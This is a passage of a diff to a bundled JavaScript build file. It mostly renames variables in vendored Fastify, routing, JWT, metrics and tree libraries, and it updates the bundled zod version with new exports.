thenMergedLocation, input)} + if (validator.validate("${ifSchemaRef}", ${input2})) { + ${buildValue(context2, thenMergedLocation, input2)} } else { - ${buildValue(context2, elseMergedLocation, input)} + ${buildValue(context2, elseMergedLocation, input2)} } `; } - function buildValue(context2, location, input) { + function buildValue(context2, location, input2) { let schema = location.schema; if (typeof schema === "boolean") { - return `json += JSON.stringify(${input})`; + return `json += JSON.stringify(${input2})`; } if (schema.$ref) { location = resolveRef2(context2, location); schema = location.schema; } if (schema.allOf) { - return buildAllOf(context2, location, input); + return buildAllOf(context2, location, input2); } if (schema.anyOf || schema.oneOf) { - return buildOneOf(context2, location, input); + return buildOneOf(context2, location, input2); } if (schema.if && schema.then) { - return buildIfThenElse(context2, location, input); + return buildIfThenElse(context2, location, input2); } if (schema.type === void 0) { const inferredType = inferTypeByKeyword(schema); @@ -30954,17 +30954,17 @@ ${contextFunctionCode}`, const nullable2 = schema.nullable === true; if (nullable2) { code += ` - if (${input} === null) { + if (${input2} === null) { json += JSON_STR_NULL } else { `; } if (schema.const !== void 0) { - code += buildConstSerializer(location, input); + code += buildConstSerializer(location, input2); } else if (Array.isArray(type)) { - code += buildMultiTypeSerializer(context2, location, input); + code += buildMultiTypeSerializer(context2, location, input2); } else { - code += buildSingleTypeSerializer(context2, location, input); + code += buildSingleTypeSerializer(context2, location, input2); } if (nullable2) { code += ` @@ -33793,12 +33793,12 @@ var require_parse3 = __commonJS({ var Empty = function() { }; Empty.prototype = /* @__PURE__ */ Object.create(null); - function parse4(input) { + function parse4(input2) { const result = new Empty(); - if (typeof input !== "string") { + if (typeof input2 !== "string") { return result; } - let inputLength = input.length; + let inputLength = input2.length; let key = ""; let value = ""; let startingIndex = -1; @@ -33810,13 +33810,13 @@ var require_parse3 = __commonJS({ let hasBothKeyValuePair = false; let c = 0; for (let i = 0; i < inputLength + 1; i++) { - c = i !== inputLength ? input.charCodeAt(i) : 38; + c = i !== inputLength ? input2.charCodeAt(i) : 38; if (c === 38) { hasBothKeyValuePair = equalityIndex > startingIndex; if (!hasBothKeyValuePair) { equalityIndex = i; } - key = input.slice(startingIndex + 1, equalityIndex); + key = input2.slice(startingIndex + 1, equalityIndex); if (hasBothKeyValuePair || key.length > 0) { if (keyHasPlus) { key = key.replace(plusRegex, " "); @@ -33825,7 +33825,7 @@ var require_parse3 = __commonJS({ key = fastDecode(key) || key; } if (hasBothKeyValuePair) { - value = input.slice(equalityIndex + 1, i); + value = input2.slice(equalityIndex + 1, i); if (valueHasPlus) { value = value.replace(plusRegex, " "); } @@ -34085,18 +34085,18 @@ var require_stringify = __commonJS({ } return ""; } - function stringify2(input) { + function stringify2(input2) { let result = ""; - if (input === null || typeof input !== "object") { + if (input2 === null || typeof input2 !== "object") { return result; } const separator = "&"; - const keys = Object.keys(input); + const keys = Object.keys(input2); const keyLength = keys.length; let valueLength = 0; for (let i = 0; i < keyLength; i++) { const key = keys[i]; - const value = input[key]; + const value = input2[key]; const encodedKey = encodeString(key) + "="; if (i) { result += separator; @@ -34864,24 +34864,24 @@ var require_safe_regex2 = __commonJS({ "use strict"; var parse4 = require_dist4(); var { types: types2 } = require_dist4(); - function walk(node, opts, starHeight) { + function walk(node2, opts, starHeight) { let i; let ok; let len; - if (node.type === types2.REPETITION) { + if (node2.type === types2.REPETITION) { starHeight++; opts.reps++; if (starHeight > 1) return false; if (opts.reps > opts.limit) return false; } - const options = node.options || node.value?.options; + const options = node2.options || node2.value?.options; if (options) { for (i = 0, len = options.length; i < len; i++) { ok = walk({ stack: options[i] }, opts, starHeight); if (!ok) return false; } } - const stack = node.stack || node.value?.stack; + const stack = node2.stack || node2.value?.stack; if (!stack) return true; for (i = 0, len = stack.length; i < len; i++) { ok = walk(stack[i], opts, starHeight); @@ -35031,8 +35031,8 @@ var require_pretty_print = __commonJS({ return mergedRoutes; }, []); } - function serializeNode(node, prefix, options) { - let routes = node.routes; + function serializeNode(node2, prefix, options) { + let routes = node2.routes; if (options.method === void 0) { routes = routes.map(normalizeRoute); } @@ -35046,28 +35046,28 @@ var require_pretty_print = __commonJS({ return routes.map(serializeRoute).join(` ${prefix}`); } - function buildObjectTree(node, tree, prefix, options) { - if (node.isLeafNode || options.commonPrefix !== false) { + function buildObjectTree(node2, tree, prefix, options) { + if (node2.isLeafNode || options.commonPrefix !== false) { prefix = prefix || "(empty root node)"; tree = tree[prefix] = {}; - if (node.isLeafNode) { - tree[treeDataSymbol] = serializeNode(node, prefix, options); + if (node2.isLeafNode) { + tree[treeDataSymbol] = serializeNode(node2, prefix, options); } prefix = ""; } - if (node.staticChildrenNodes) { - for (const child of node.staticChildrenNodes) { + if (node2.staticChildrenNodes) { + for (const child of node2.staticChildrenNodes) { buildObjectTree(child, tree, prefix + child.prefix, options); } } - if (node.parametricChildren) { - for (const child of Object.values(node.parametricChildren)) { + if (node2.parametricChildren) { + for (const child of Object.values(node2.parametricChildren)) { const childPrefix = Array.from(child.nodePaths).join("|"); buildObjectTree(child, tree, prefix + childPrefix, options); } } - if (node.wildcardChild) { - buildObjectTree(node.wildcardChild, tree, "*", options); + if (node2.wildcardChild) { + buildObjectTree(node2.wildcardChild, tree, "*", options); } } function prettyPrintTree(root, options) { @@ -35270,14 +35270,14 @@ var require_node = __commonJS({ this.staticChildrenCharCodes = []; this.staticChildrenNodes = []; } - setStaticChild(label, node) { + setStaticChild(label, node2) { const charCode = label.charCodeAt(0); const index2 = this.staticChildrenCharCodes.indexOf(charCode); if (index2 === -1) { this.staticChildrenCharCodes.push(charCode); - this.staticChildrenNodes.push(node); + this.staticChildrenNodes.push(node2); } else { - this.staticChildrenNodes[index2] = node; + this.staticChildrenNodes[index2] = node2; } } findStaticMatchingChild(path, pathIndex) { @@ -35320,9 +35320,9 @@ var require_node = __commonJS({ } return staticChild.createStaticChild(path.slice(i)); } - const node = new StaticNode(path); - this.setStaticChild(path.charAt(0), node); - return node; + const node2 = new StaticNode(path); + this.setStaticChild(path.charAt(0), node2); + return node2; } }; var StaticNode = class _StaticNode extends ParentNode { @@ -35382,13 +35382,13 @@ var require_node = __commonJS({ return staticNode; } getNextNode(path, pathIndex, nodeStack, paramsCount) { - let node = this.findStaticMatchingChild(path, pathIndex); + let node2 = this.findStaticMatchingChild(path, pathIndex); let parametricBrotherNodeIndex = 0; - if (node === null) { + if (node2 === null) { if (this.parametricChildren.length === 0) { return this.wildcardChild; } - node = this.parametricChildren[0]; + node2 = this.parametricChildren[0]; parametricBrotherNodeIndex = 1; } if (this.wildcardChild !== null) { @@ -35405,7 +35405,7 @@ var require_node = __commonJS({ brotherNode: this.parametricChildren[i] }); } - return node; + return node2; } _compilePrefixMatch() { if (this.prefix.length === 1) { @@ -36330,7 +36330,7 @@ var require_find_my_way = __commonJS({ path = sanitizedUrl.path; querystring2 = sanitizedUrl.querystring; shouldDecodeParam = sanitizedUrl.shouldDecodeParam; - } catch (error51) { + } catch (error62) { return this._onBadUrl(path); } if (this.ignoreTrailingSlash) { @@ -36358,8 +36358,8 @@ var require_find_my_way = __commonJS({ }; } } - let node = currentNode.getNextNode(path, pathIndex, brothersNodesStack, params.length); - if (node === null) { + let node2 = currentNode.getNextNode(path, pathIndex, brothersNodesStack, params.length); + if (node2 === null) { if (brothersNodesStack.length === 0) { if (maxParamLengthExceeded && this.onMaxParamLength) { return this._onMaxParamLength(originPath); @@ -36369,9 +36369,9 @@ var require_find_my_way = __commonJS({ const brotherNodeState = brothersNodesStack.pop(); pathIndex = brotherNodeState.brotherPathIndex; params.splice(brotherNodeState.paramsCount); - node = brotherNodeState.brotherNode; + node2 = brotherNodeState.brotherNode; } - currentNode = node; + currentNode = node2; while (true) { if (currentNode.kind === NODE_TYPES.STATIC) { pathIndex += currentNode.prefix.length; @@ -36567,7 +36567,7 @@ var require_find_my_way = __commonJS({ if (parsed.protocol !== `${scheme}:` || parsed.host.length === 0) { return null; } - } catch (error51) { + } catch (error62) { return null; } if (authorityEnd === url2.length) { @@ -36968,14 +36968,14 @@ var require_route = __commonJS({ const hasHEADHandler = headHandler !== null; try { router.on(opts.method, opts.url, { constraints }, routeHandler, context2); - } catch (error51) { + } catch (error62) { if (!context2[kRouteByFastify]) { const methods = Array.isArray(opts.method) ? opts.method : [opts.method]; - const isDuplicatedRoute = methods.some((method) => error51.message.includes(`Method '${method}' already declared for route`)); + const isDuplicatedRoute = methods.some((method) => error62.message.includes(`Method '${method}' already declared for route`)); if (isDuplicatedRoute) { throw new FST_ERR_DUPLICATED_ROUTE(opts.method, opts.url); } - throw error51; + throw error62; } } this.after((notHandledErr, done) => { @@ -37012,16 +37012,16 @@ var require_route = __commonJS({ opts.validatorCompiler || schemaController.validatorCompiler, isCustom ); - } catch (error51) { - throw new FST_ERR_SCH_VALIDATION_BUILD(opts.method, url2, error51.message); + } catch (error62) { + throw new FST_ERR_SCH_VALIDATION_BUILD(opts.method, url2, error62.message); } if (opts.schema.response && !opts.serializerCompiler) { schemaController.setupSerializer(this[kOptions]); } try { compileSchemasForSerialization(context2, opts.serializerCompiler || schemaController.serializerCompiler); - } catch (error51) { - throw new FST_ERR_SCH_SERIALIZATION_BUILD(opts.method, url2, error51.message); + } catch (error62) { + throw new FST_ERR_SCH_SERIALIZATION_BUILD(opts.method, url2, error62.message); } } }); @@ -37994,12 +37994,12 @@ var require_request2 = __commonJS({ } util.inherits(Request, Readable); util.inherits(CustomRequest, Request); - Request.prototype.destroy = function(error51) { + Request.prototype.destroy = function(error62) { if (this.destroyed || this._lightMyRequest.isDone) return; this.destroyed = true; - if (error51) { + if (error62) { this._error = true; - process.nextTick(() => this.emit("error", error51)); + process.nextTick(() => this.emit("error", error62)); } process.nextTick(() => this.emit("close")); }; @@ -38086,42 +38086,42 @@ var require_set_cookie = __commonJS({ } return { name, value }; } - function parse4(input, options) { + function parse4(input2, options) { options = options ? Object.assign({}, defaultParseOptions, options) : defaultParseOptions; - if (!input) { + if (!input2) { if (!options.map) { return []; } else { return createNullObj(); } } - if (input.headers) { - if (typeof input.headers.getSetCookie === "function") { - input = input.headers.getSetCookie(); - } else if (input.headers["set-cookie"]) { - input = input.headers["set-cookie"]; + if (input2.headers) { + if (typeof input2.headers.getSetCookie === "function") { + input2 = input2.headers.getSetCookie(); + } else if (input2.headers["set-cookie"]) { + input2 = input2.headers["set-cookie"]; } else { - var sch = input.headers[Object.keys(input.headers).find(function(key) { + var sch = input2.headers[Object.keys(input2.headers).find(function(key) { return key.toLowerCase() === "set-cookie"; })]; - if (!sch && input.headers.cookie && !options.silent) { + if (!sch && input2.headers.cookie && !options.silent) { console.warn( "Warning: set-cookie-parser appears to have been called on a request object. It is designed to parse Set-Cookie headers from responses, not Cookie headers from requests. Set the option {silent: true} to suppress this warning." ); } - input = sch; + input2 = sch; } } - if (!Array.isArray(input)) { - input = [input]; + if (!Array.isArray(input2)) { + input2 = [input2]; } if (!options.map) { - return input.filter(isNonEmptyString).map(function(str) { + return input2.filter(isNonEmptyString).map(function(str) { return parseString(str, options); }).filter(Boolean); } else { var cookies = createNullObj(); - return input.filter(isNonEmptyString).reduce(function(cookies2, str) { + return input2.filter(isNonEmptyString).reduce(function(cookies2, str) { var cookie = parseString(str, options); if (cookie && !isForbiddenKey(cookie.name)) { cookies2[cookie.name] = cookie; @@ -38302,11 +38302,11 @@ var require_response = __commonJS({ this.emit("finish"); this.destroy(); }; - Response.prototype.destroy = function(error51) { + Response.prototype.destroy = function(error62) { if (this.destroyed) return; this.destroyed = true; - if (error51) { - process.nextTick(() => this.emit("error", error51)); + if (error62) { + process.nextTick(() => this.emit("error", error62)); } process.nextTick(() => this.emit("close")); }; @@ -39797,12 +39797,12 @@ var require_fastify = __commonJS({ } if (fastify2[kState].started) { if (fastify2[kState].closing) { - const error51 = new FST_ERR_REOPENED_CLOSE_SERVER(); + const error62 = new FST_ERR_REOPENED_CLOSE_SERVER(); if (cb) { - cb(error51); + cb(error62); return; } else { - return Promise.reject(error51); + return Promise.reject(error62); } } return lightMyRequest(httpHandler, opts, cb); @@ -41869,28 +41869,28 @@ var require_rbtree = __commonJS({ var gp = null; var ggp = head; var p = null; - var node = this._root; + var node2 = this._root; ggp.right = this._root; while (true) { - if (node === null) { - node = new Node(data); - p.set_child(dir, node); + if (node2 === null) { + node2 = new Node(data); + p.set_child(dir, node2); ret2 = true; this.size++; - } else if (is_red(node.left) && is_red(node.right)) { - node.red = true; - node.left.red = false; - node.right.red = false; + } else if (is_red(node2.left) && is_red(node2.right)) { + node2.red = true; + node2.left.red = false; + node2.right.red = false; } - if (is_red(node) && is_red(p)) { + if (is_red(node2) && is_red(p)) { var dir2 = ggp.right === gp; - if (node === p.get_child(last)) { + if (node2 === p.get_child(last)) { ggp.set_child(dir2, single_rotate(gp, !last)); } else { ggp.set_child(dir2, double_rotate(gp, !last)); } } - var cmp = this._comparator(node.data, data); + var cmp = this._comparator(node2.data, data); if (cmp === 0) { break; } @@ -41900,8 +41900,8 @@ var require_rbtree = __commonJS({ ggp = gp; } gp = p; - p = node; - node = node.get_child(dir); + p = node2; + node2 = node2.get_child(dir); } this._root = head.right; } @@ -41913,34 +41913,34 @@ var require_rbtree = __commonJS({ return false; } var head = new Node(void 0); - var node = head; - node.right = this._root; + var node2 = head; + node2.right = this._root; var p = null; var gp = null; var found = null; var dir = 1; - while (node.get_child(dir) !== null) { + while (node2.get_child(dir) !== null) { var last = dir; gp = p; - p = node; - node = node.get_child(dir); - var cmp = this._comparator(data, node.data); + p = node2; + node2 = node2.get_child(dir); + var cmp = this._comparator(data, node2.data); dir = cmp > 0; if (cmp === 0) { - found = node; + found = node2; } - if (!is_red(node) && !is_red(node.get_child(dir))) { - if (is_red(node.get_child(!dir))) { - var sr = single_rotate(node, dir); + if (!is_red(node2) && !is_red(node2.get_child(dir))) { + if (is_red(node2.get_child(!dir))) { + var sr = single_rotate(node2, dir); p.set_child(last, sr); p = sr; - } else if (!is_red(node.get_child(!dir))) { + } else if (!is_red(node2.get_child(!dir))) { var sibling = p.get_child(!last); if (sibling !== null) { if (!is_red(sibling.get_child(!last)) && !is_red(sibling.get_child(last))) { p.red = false; sibling.red = true; - node.red = true; + node2.red = true; } else { var dir2 = gp.right === p; if (is_red(sibling.get_child(last))) { @@ -41950,7 +41950,7 @@ var require_rbtree = __commonJS({ } var gpc = gp.get_child(dir2); gpc.red = true; - node.red = true; + node2.red = true; gpc.left.red = false; gpc.right.red = false; } @@ -41959,8 +41959,8 @@ var require_rbtree = __commonJS({ } } if (found !== null) { - found.data = node.data; - p.set_child(p.right === node, node.get_child(node.left === null)); + found.data = node2.data; + p.set_child(p.right === node2, node2.get_child(node2.left === null)); this.size--; } this._root = head.right; @@ -41969,8 +41969,8 @@ var require_rbtree = __commonJS({ } return found !== null; }; - function is_red(node) { - return node !== null && node.red; + function is_red(node2) { + return node2 !== null && node2.red; } function single_rotate(root, dir) { var save = root.get_child(!dir); @@ -42021,21 +42021,21 @@ var require_bintree = __commonJS({ } var dir = 0; var p = null; - var node = this._root; + var node2 = this._root; while (true) { - if (node === null) { - node = new Node(data); - p.set_child(dir, node); + if (node2 === null) { + node2 = new Node(data); + p.set_child(dir, node2); ret = true; this.size++; return true; } - if (this._comparator(node.data, data) === 0) { + if (this._comparator(node2.data, data) === 0) { return false; } - dir = this._comparator(node.data, data) < 0; - p = node; - node = node.get_child(dir); + dir = this._comparator(node2.data, data) < 0; + p = node2; + node2 = node2.get_child(dir); } }; BinTree.prototype.remove = function(data) { @@ -42043,23 +42043,23 @@ var require_bintree = __commonJS({ return false; } var head = new Node(void 0); - var node = head; - node.right = this._root; + var node2 = head; + node2.right = this._root; var p = null; var found = null; var dir = 1; - while (node.get_child(dir) !== null) { - p = node; - node = node.get_child(dir); - var cmp = this._comparator(data, node.data); + while (node2.get_child(dir) !== null) { + p = node2; + node2 = node2.get_child(dir); + var cmp = this._comparator(data, node2.data); dir = cmp > 0; if (cmp === 0) { - found = node; + found = node2; } } if (found !== null) { - found.data = node.data; - p.set_child(p.right === node, node.get_child(node.left === null)); + found.data = node2.data; + p.set_child(p.right === node2, node2.get_child(node2.left === null)); this._root = head.right; this.size--; return true; @@ -44370,8 +44370,8 @@ var require_osMemoryHeapLinux = __commonJS({ var PROCESS_RESIDENT_MEMORY = "process_resident_memory_bytes"; var PROCESS_VIRTUAL_MEMORY = "process_virtual_memory_bytes"; var PROCESS_HEAP = "process_heap_bytes"; - function structureOutput(input) { - return input.split("\n").reduce((acc, string4) => { + function structureOutput(input2) { + return input2.split("\n").reduce((acc, string4) => { if (!values2.some((value2) => string4.startsWith(value2))) { return acc; } @@ -44401,8 +44401,8 @@ var require_osMemoryHeapLinux = __commonJS({ residentMemGauge.set(labels, structuredOutput.VmRSS); virtualMemGauge.set(labels, structuredOutput.VmSize); heapSizeMemGauge.set(labels, structuredOutput.VmData); - } catch (error51) { - debug("failed to collect Linux memory metrics: %o", error51); + } catch (error62) { + debug("failed to collect Linux memory metrics: %o", error62); } } }); @@ -44436,8 +44436,8 @@ var require_safeRss = __commonJS({ function safeRss() { try { return process.memoryUsage.rss(); - } catch (error51) { - debug("process.memoryUsage.rss() failed: %o", error51); + } catch (error62) { + debug("process.memoryUsage.rss() failed: %o", error62); return; } } @@ -44485,11 +44485,11 @@ var require_processOpenFileDescriptors = __commonJS({ var { debuglog } = __require("node:util"); var Gauge = require_gauge(); var fs2 = __require("fs"); - var process3 = __require("process"); + var process2 = __require("process"); var debug = debuglog("prom:metrics:process-open-fds"); var PROCESS_OPEN_FDS = "process_open_fds"; module.exports = (registry2, config2 = {}) => { - if (process3.platform !== "linux") { + if (process2.platform !== "linux") { return; } const namePrefix = config2.prefix ? config2.prefix : ""; @@ -44504,8 +44504,8 @@ var require_processOpenFileDescriptors = __commonJS({ try { const fds = fs2.readdirSync("/proc/self/fd"); this.set(labels, fds.length - 1); - } catch (error51) { - debug("failed to collect open file descriptors: %o", error51); + } catch (error62) { + debug("failed to collect open file descriptors: %o", error62); } } }); @@ -44536,8 +44536,8 @@ var require_processMaxFileDescriptors = __commonJS({ break; } } - } catch (error51) { - debug("failed to collect maximum file descriptors: %o", error51); + } catch (error62) { + debug("failed to collect maximum file descriptors: %o", error62); return; } } @@ -44569,8 +44569,8 @@ var require_eventLoopLag = __commonJS({ var perf_hooks; try { perf_hooks = __require("perf_hooks"); - } catch (error51) { - debug("perf_hooks module is unavailable: %o", error51); + } catch (error62) { + debug("perf_hooks module is unavailable: %o", error62); } var NODEJS_EVENTLOOP_LAG = "nodejs_eventloop_lag_seconds"; var NODEJS_EVENTLOOP_LAG_MIN = "nodejs_eventloop_lag_min_seconds"; @@ -44957,8 +44957,8 @@ var require_safeMemoryUsage = __commonJS({ function safeMemoryUsage() { try { return process.memoryUsage(); - } catch (error51) { - debug("process.memoryUsage() failed: %o", error51); + } catch (error62) { + debug("process.memoryUsage() failed: %o", error62); return; } } @@ -45117,8 +45117,8 @@ var require_gc = __commonJS({ var perf_hooks; try { perf_hooks = __require("perf_hooks"); - } catch (error51) { - debug("perf_hooks module is unavailable: %o", error51); + } catch (error62) { + debug("perf_hooks module is unavailable: %o", error62); } var NODEJS_GC_DURATION_SECONDS = "nodejs_gc_duration_seconds"; var DEFAULT_GC_DURATION_BUCKETS = [1e-3, 0.01, 0.1, 1, 2, 5]; @@ -45422,15 +45422,15 @@ var require_cluster = __commonJS({ metrics: metrics2 }); } - } catch (error51) { - debug("Error sending to primary", error51); + } catch (error62) { + debug("Error sending to primary", error62); if (!process.connected) { debug("Connection to primary lost."); } else { process.send({ type: GET_METRICS_RES, requestId: message2.requestId, - error: error51.message + error: error62.message }); } } @@ -45486,8 +45486,8 @@ var require_cluster = __commonJS({ const metrics2 = [historicMetrics, ...event.metrics]; historicMetrics = Registry2.aggregate(metrics2).getMetricsAsArray(); debug("collected metrics data from", worker.id); - } catch (error51) { - console.error("error collecting shutdown metrics", worker.id, error51); + } catch (error62) { + console.error("error collecting shutdown metrics", worker.id, error62); } finally { workers.delete(worker.id); } @@ -45761,12 +45761,12 @@ var require_worker = __commonJS({ threadId, metrics: metrics2 }); - } catch (error51) { - debug(error51); + } catch (error62) { + debug(error62); channel.postMessage({ type: GET_METRICS_RES, requestId: message2.requestId, - error: error51.message + error: error62.message }); } } else { @@ -45844,11 +45844,11 @@ var require_worker = __commonJS({ const metrics2 = [historicMetrics, ...workerMessage.metrics]; historicMetrics = Registry2.aggregate(metrics2).getMetricsAsArray(); debug("collected metrics data from", workerMessage.threadId); - } catch (error51) { + } catch (error62) { console.error( "error collecting shutdown metrics", workerMessage.threadId, - error51 + error62 ); } finally { workers.delete(workerName); @@ -46117,8 +46117,8 @@ var JWTClaimValidationFailed = class extends JOSEError { claim; reason; payload; - constructor(message2, payload, claim = "unspecified", reason = "unspecified") { - super(message2, { cause: { claim, reason, payload } }), this.claim = claim, this.reason = reason, this.payload = payload; + constructor(message2, payload, claim2 = "unspecified", reason = "unspecified") { + super(message2, { cause: { claim: claim2, reason, payload } }), this.claim = claim2, this.reason = reason, this.payload = payload; } }; var JWTExpired = class extends JOSEError { @@ -46127,8 +46127,8 @@ var JWTExpired = class extends JOSEError { claim; reason; payload; - constructor(message2, payload, claim = "unspecified", reason = "unspecified") { - super(message2, { cause: { claim, reason, payload } }), this.claim = claim, this.reason = reason, this.payload = payload; + constructor(message2, payload, claim2 = "unspecified", reason = "unspecified") { + super(message2, { cause: { claim: claim2, reason, payload } }), this.claim = claim2, this.reason = reason, this.payload = payload; } }; var JOSEAlgNotAllowed = class extends JOSEError { @@ -46199,23 +46199,23 @@ var JWSSignatureVerificationFailed = class extends JOSEError { // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/util/base64url.js var invalid = "The input to be decoded is not correctly encoded."; -function decode(input) { +function decode(input2) { try { - return decodeBase64(typeof input == "string" ? input : decoder.decode(input), true); + return decodeBase64(typeof input2 == "string" ? input2 : decoder.decode(input2), true); } catch (cause) { throw new TypeError(invalid, { cause }); } } // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/validate.js -function isObject(input) { - if (typeof input != "object" || input === null || Object.prototype.toString.call(input) !== "[object Object]") +function isObject(input2) { + if (typeof input2 != "object" || input2 === null || Object.prototype.toString.call(input2) !== "[object Object]") return false; - const prototype = Object.getPrototypeOf(input); + const prototype = Object.getPrototypeOf(input2); return prototype === null || Object.getPrototypeOf(prototype) === null; } -function isJwkSet(input) { - return isObject(input) && Array.isArray(input.keys) && Array.from(input.keys).every(isObject); +function isJwkSet(input2) { + return isObject(input2) && Array.isArray(input2.keys) && Array.from(input2.keys).every(isObject); } function isDisjoint(...headers) { const parameters = /* @__PURE__ */ new Set(); @@ -46264,7 +46264,7 @@ function validateCrit(Err, recognizedDefault, recognizedOption, protectedHeader, throw new Err('"crit" (Critical) Header Parameter MUST be integrity protected'); if (!protectedHeader || protectedHeader.crit === void 0) return []; - if (!Array.isArray(protectedHeader.crit) || protectedHeader.crit.length === 0 || protectedHeader.crit.some((input) => typeof input != "string" || input.length === 0)) + if (!Array.isArray(protectedHeader.crit) || protectedHeader.crit.length === 0 || protectedHeader.crit.some((input2) => typeof input2 != "string" || input2.length === 0)) throw new Err('"crit" (Critical) Header Parameter MUST be an array of non-empty strings when present'); const recognized = recognizedOption === void 0 ? recognizedDefault : { __proto__: null, ...recognizedOption, ...recognizedDefault }; for (const parameter of protectedHeader.crit) { @@ -46570,26 +46570,26 @@ function secs(str) { const value = parseFloat(matched[2]), numericDate2 = Math.round(value * multipliers[matched[3][0].toLowerCase()]); return Number.isFinite(numericDate2) || invalidDuration(), matched[1] === "-" || matched[4] === "ago" ? -numericDate2 : numericDate2; } -function validateInput(label, input) { - if (!Number.isFinite(input)) +function validateInput(label, input2) { + if (!Number.isFinite(input2)) throw new TypeError(`Invalid ${label} input`); - return input; + return input2; } var normalizeTyp = (value) => { const normalized = value.toLowerCase(); return value.includes("/") ? normalized : `application/${normalized}`; }; var checkAudiencePresence = (audPayload, audOption) => typeof audPayload == "string" ? audOption.includes(audPayload) : Array.isArray(audPayload) ? audOption.some((aud) => audPayload.includes(aud)) : false; -function validateNumericDate(payload, claim, required2 = false) { - const value = payload[claim]; +function validateNumericDate(payload, claim2, required2 = false) { + const value = payload[claim2]; if (!(value === void 0 && !required2)) { if (typeof value != "number") - throw new JWTClaimValidationFailed(`"${claim}" claim must be a number`, payload, claim, "invalid"); + throw new JWTClaimValidationFailed(`"${claim2}" claim must be a number`, payload, claim2, "invalid"); return value; } } -function unexpectedClaim(payload, claim) { - throw new JWTClaimValidationFailed(`unexpected "${claim}" claim value`, payload, claim, checkFailed); +function unexpectedClaim(payload, claim2) { + throw new JWTClaimValidationFailed(`unexpected "${claim2}" claim value`, payload, claim2, checkFailed); } function validateClaimsSet(protectedHeader, encodedPayload, options = {}) { let payload; @@ -46604,9 +46604,9 @@ function validateClaimsSet(protectedHeader, encodedPayload, options = {}) { throw new JWTClaimValidationFailed('unexpected "typ" JWT header value', payload, "typ", checkFailed); const { requiredClaims = [], issuer, subject, audience, maxTokenAge } = options, presenceCheck = [...requiredClaims]; maxTokenAge !== void 0 && presenceCheck.push("iat"), audience !== void 0 && presenceCheck.push("aud"), subject !== void 0 && presenceCheck.push("sub"), issuer !== void 0 && presenceCheck.push("iss"); - for (const claim of new Set(presenceCheck.reverse())) - if (!Object.hasOwn(payload, claim)) - throw new JWTClaimValidationFailed(`missing required "${claim}" claim`, payload, claim, "missing"); + for (const claim2 of new Set(presenceCheck.reverse())) + if (!Object.hasOwn(payload, claim2)) + throw new JWTClaimValidationFailed(`missing required "${claim2}" claim`, payload, claim2, "missing"); issuer !== void 0 && !(Array.isArray(issuer) ? issuer : [issuer]).includes(payload.iss) && unexpectedClaim(payload, "iss"), subject !== void 0 && payload.sub !== subject && unexpectedClaim(payload, "sub"), audience !== void 0 && !checkAudiencePresence(payload.aud, typeof audience == "string" ? [audience] : audience) && unexpectedClaim(payload, "aud"); const { clockTolerance } = options; let tolerance = 0; @@ -46655,8 +46655,8 @@ async function importWithAlgCache(cache2, jwk, entry) { if (key.type !== "public") throw new JWKSInvalid("JSON Web Key Set members must be public keys"); return cached2[alg] = key, key; - }).catch((error51) => { - throw cached2[alg] === pending && delete cached2[alg], error51; + }).catch((error62) => { + throw cached2[alg] === pending && delete cached2[alg], error62; }); cached2[alg] = pending; } @@ -46682,14 +46682,14 @@ function createLocalJWKSet(jwks) { if (!length) throw new JWKSNoMatchingKey(); if (length !== 1) { - const error51 = new JWKSMultipleMatchingKeys(); - throw error51[Symbol.asyncIterator] = async function* () { + const error62 = new JWKSMultipleMatchingKeys(); + throw error62[Symbol.asyncIterator] = async function* () { for (const jwk2 of candidates) try { yield await importWithAlgCache(cached2, jwk2, entry); } catch { } - }, error51; + }, error62; } return importWithAlgCache(cached2, jwk, entry); }, "jwks", { @@ -46792,12 +46792,13 @@ function createRemoteJWKSet(url2, options) { }); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/external.js var external_exports = {}; __export(external_exports, { $brand: () => $brand, $input: () => $input, $output: () => $output, + INVALID: () => INVALID, NEVER: () => NEVER, TimePrecision: () => TimePrecision, ZodAny: () => ZodAny, @@ -46813,6 +46814,9 @@ __export(external_exports, { ZodCUID2: () => ZodCUID2, ZodCatch: () => ZodCatch, ZodCodec: () => ZodCodec, + ZodCompileAsyncError: () => ZodCompileAsyncError, + ZodCompileUnsupportedError: () => ZodCompileUnsupportedError, + ZodCreditCard: () => ZodCreditCard, ZodCustom: () => ZodCustom, ZodCustomStringFormat: () => ZodCustomStringFormat, ZodDate: () => ZodDate, @@ -46828,12 +46832,14 @@ __export(external_exports, { ZodFirstPartyTypeKind: () => ZodFirstPartyTypeKind, ZodFunction: () => ZodFunction, ZodGUID: () => ZodGUID, + ZodIBAN: () => ZodIBAN, ZodIPv4: () => ZodIPv4, ZodIPv6: () => ZodIPv6, ZodISODate: () => ZodISODate, ZodISODateTime: () => ZodISODateTime, ZodISODuration: () => ZodISODuration, ZodISOTime: () => ZodISOTime, + ZodInstanceOf: () => ZodInstanceOf, ZodIntersection: () => ZodIntersection, ZodIssueCode: () => ZodIssueCode, ZodJWT: () => ZodJWT, @@ -46893,14 +46899,18 @@ __export(external_exports, { clone: () => clone, codec: () => codec, coerce: () => coerce_exports, + compile: () => compile, config: () => config, core: () => core_exports2, + creditCard: () => creditCard2, cuid: () => cuid3, cuid2: () => cuid22, + currencyCode: () => currencyCode2, custom: () => custom, - date: () => date3, + date: () => date2, decode: () => decode3, decodeAsync: () => decodeAsync2, + deepPartial: () => deepPartial, describe: () => describe2, discriminatedUnion: () => discriminatedUnion, e164: () => e1642, @@ -46918,6 +46928,7 @@ __export(external_exports, { formatError: () => formatError, fromJSONSchema: () => fromJSONSchema, function: () => _function, + getDiscriminatedOption: () => getDiscriminatedOption, getErrorMap: () => getErrorMap, globalRegistry: () => globalRegistry, gt: () => _gt, @@ -46927,7 +46938,9 @@ __export(external_exports, { hex: () => hex2, hostname: () => hostname2, httpUrl: () => httpUrl, + iban: () => iban2, includes: () => _includes, + input: () => input, instanceof: () => _instanceof, int: () => int, int32: () => int32, @@ -46954,6 +46967,7 @@ __export(external_exports, { map: () => map, maxLength: () => _maxLength, maxSize: () => _maxSize, + memoizer: () => memoizer, meta: () => meta2, mime: () => _mime, minLength: () => _minLength, @@ -46974,6 +46988,7 @@ __export(external_exports, { number: () => number2, object: () => object, optional: () => optional, + output: () => output, overwrite: () => _overwrite, parse: () => parse2, parseAsync: () => parseAsync2, @@ -46984,6 +46999,7 @@ __export(external_exports, { preprocess: () => preprocess, prettifyError: () => prettifyError, promise: () => promise, + properties: () => 